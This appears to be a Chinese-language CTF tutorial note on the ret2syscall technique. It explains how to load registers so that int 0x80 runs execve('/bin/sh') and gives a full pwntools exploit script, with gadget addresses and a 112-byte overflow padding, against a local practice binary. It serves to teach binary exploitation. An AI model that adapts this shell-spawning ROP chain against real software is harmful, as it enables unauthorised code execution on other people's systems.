一.3_基本rop_ret2syscall

ret2syscall,即控制程序执行系统调用,获取 shell (很短的一句话,蕴含着大道理)

思考
1.程序只给我们/bin/sh 但是没给我们system函数 构造不了sysytem(/bin/sh),仔细观察,发现了int 80(自行百度)
2.只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。 例如:

execve("/bin/sh",NULL,NULL)   #oxb是execve的系统调用号

3.32 位

系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
EXP
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421  #ROPgadget --binary rop --only "int"
bin_sh_addr = 0x80be408
payload = 'A' * 112
payload += p32(pop_eax_ret)
payload += p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret)  ##构造execve里面的内容
payload += p32(0)
payload += p32(0)
payload += p32(bin_sh_addr)
payload += p32(int_0x80)    # int 80调用的是eax的系统调用号

sh.sendline(payload)
sh.interactive()

注:int 80 不理解可以学习一下这篇文章:https://www.jianshu.com/p/5ea7016e60c8

你可能感兴趣的:(一.3_基本rop_ret2syscall)